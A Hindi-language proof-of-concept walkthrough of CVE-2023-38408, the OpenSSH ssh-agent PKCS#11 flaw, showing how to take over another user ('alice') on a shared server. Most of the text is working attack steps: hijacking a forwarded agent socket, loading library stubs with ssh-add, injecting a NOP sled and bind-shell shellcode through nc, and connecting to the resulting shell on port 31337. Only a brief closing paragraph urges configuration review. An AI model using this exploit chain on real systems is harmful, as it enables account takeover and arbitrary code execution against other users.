
खाता अधिग्रहण OpenSSH
OpenSSH (9.3p2 संस्करण से पहले) में एक भेद्यता पाई गई। OpenSSH में ssh-agent की PKCS#11 सुविधा में एक अपर्याप्त विश्वसनीय खोज पथ है, जिससे यदि एजेंट को हमलावर-नियंत्रित सिस्टम पर अग्रेषित किया जाता है, तो रिमोट कोड निष्पादन हो सकता है (/usr/lib में कोड ssh-agent में लोड करने के लिए आवश्यक रूप से सुरक्षित नहीं है)। यह दोष हमलावर को सर्वर पर अग्रेषित एजेंट-सॉकेट के नियंत्रण और क्लाइंट होस्ट के फाइलसिस्टम में लिखने की क्षमता के साथ, ssh-agent चला रहे उपयोगकर्ता के विशेषाधिकारों के साथ मनमाना कोड निष्पादित करने की अनुमति देता है।
नीचे दिए गए उदाहरण में, हम अन्वेषण से लेकर alice के उपयोगकर्ता से समझौता करने तक के चरणों को संक्षेप में देख सकते हैं।
जैसा कि पहले बताया गया है, इस POC में हम SSH के माध्यम से एक सर्वर से जुड़े 2 उपयोगकर्ताओं का उपयोग करेंगे। नीचे दिए गए चरणों का पालन करने के लिए, हम मान लेते हैं कि दोनों उपयोगकर्ताओं के पास पहले से ही सर्वर (SSH) तक पहुंच है।
echo /tmp/ssh-*/agent.*
export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"
अंत में, शेलकोड एजेंट की मेमोरी में सफलतापूर्वक रखे जाने के बाद नेटकैट ट्रांसफर को रोकने के लिए Ctrl-C दबाएं।
[!NOTE] SIGSEGV को ट्रिगर करना 💬
SIGSEGV एक सिग्नल है जो कंप्यूटर प्रक्रिया में तब उत्सर्जित होता है >जब एक अमान्य मेमोरी संदर्भ (सेग्मेंटेशन फॉल्ट) होता है। SIGSEGV सिग्नल प्राप्त करने पर, कर्नेल पहचानता है कि एक अमान्य मेमोरी एक्सेस हुआ है और प्रोग्राम को अचानक समाप्त करने के बजाय कस्टम सिग्नल हैंडलर को लागू करने के लिए आगे बढ़ता है। ऐसा करके, हमलावर प्रोग्राम के निष्पादन में हेरफेर करने और इसे NOP स्लेड के भीतर स्थित इंजेक्ट किए गए दुर्भावनापूर्ण कोड की ओर मोड़ने का अवसर ले लेता है।
ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
[Enter for passphrase]
nc localhost 31337
यह भेद्यता मुख्य रूप से उन सिस्टमों को प्रभावित करती है जहां OpenSSH का SSH-agent उपयोग में है और एजेंट की फॉरवर्डिंग सुविधा सक्षम है। OpenSSH पर निर्भर संगठनों और व्यक्तियों को संभावित जोखिम का निर्धारण करने के लिए तुरंत अपने कॉन्फ़िगरेशन का आकलन करना चाहिए। यदि आपका सिस्टम उल्लिखित शर्तों को पूरा करता है, तो CVE-2023-38408 से जुड़े जोखिम को कम करने के लिए तत्काल कार्रवाई करना महत्वपूर्ण है।